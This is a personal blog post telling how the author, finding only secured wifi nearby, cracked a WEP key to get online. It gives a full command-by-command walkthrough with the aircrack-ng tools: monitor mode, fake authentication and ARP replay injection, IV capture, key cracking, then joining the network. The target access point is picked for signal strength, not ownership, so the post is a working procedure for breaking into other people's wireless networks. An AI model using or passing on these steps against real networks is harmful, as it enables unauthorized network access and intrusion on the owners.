a Flo + a Blog = a Flog my ブログ

Wifi-less no more

For the first time in my life, I happened to find myself without any wireless connectivity I could easily hook up to. I needed network-internet connectivity but around me only secured wifi Access Points.

I needed to find the key I lost.

How could I connect without knowing any of those WEP or WAP keys?

I suddently remember that I always have in my laptop CD pockets a very handy CD: backtrack 2. It is very convenient live CD that helps you solve a lot of nice things. It also have tools to scan wifi!

My ubuntu distro install did not have any of those tools installed so here I go, I reboot and run this live CD.

First you need to enable the monitor mode on your interface:

#airmon-ng start ath0

then just try to run a airodump to scan around

#airodump-ng ath0 out 0

If you get the wifi around you it means you are ready to play.

Once you see an AP with a decent power (closer to you), use aireplay to inject packets

#aireplay-ng -1 0 -e Target_ID -a MACoftheAP -h Your_MAC ath0

It will sending authentication requests and you should eventually get this:

Association successful

This means you are associated with the AP and ready to replay IVS.

you may want to run this association every X sec so you do not lose the AP connection.

This command will reassociate you every 20 secondes:

#aireplay-ng -1 20 -e Target_ID -a MACoftheAP -h Your_MAC ath0

So once associated, send packets as following. If you are not associated you see no send packet:

#aireplay-ng -3 -b MacoftheAP -h Your_MAC -x 600 ath0

You must also start airodump to capture replies, capture only the IVS to save space on the target channel:

#airodump-ng -w out --ivs --channel X ath0

aireplay will read:

Read 12345 packets (got 123 APR requests), sent 12345 packets...

You have to key sending until you get a lot of IVS (check airodump). If it stops sending, try reassociating with the AP.

Once you have a lot of IVS, you can start running aircrack. Just run it from another console as it can read the output file as it updates.

#aircrack-ng -x -0 out.ivs

When you see a "key found" message you are ready to get some network-internet connection.

Just enter:

#iwconfig ath0 mode Managed key XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX
#dhcpcd ath0

then a little ifconfig will confirm you are connect and able to get an ip from the AP. Voila! I was able to check what I needed and then go away.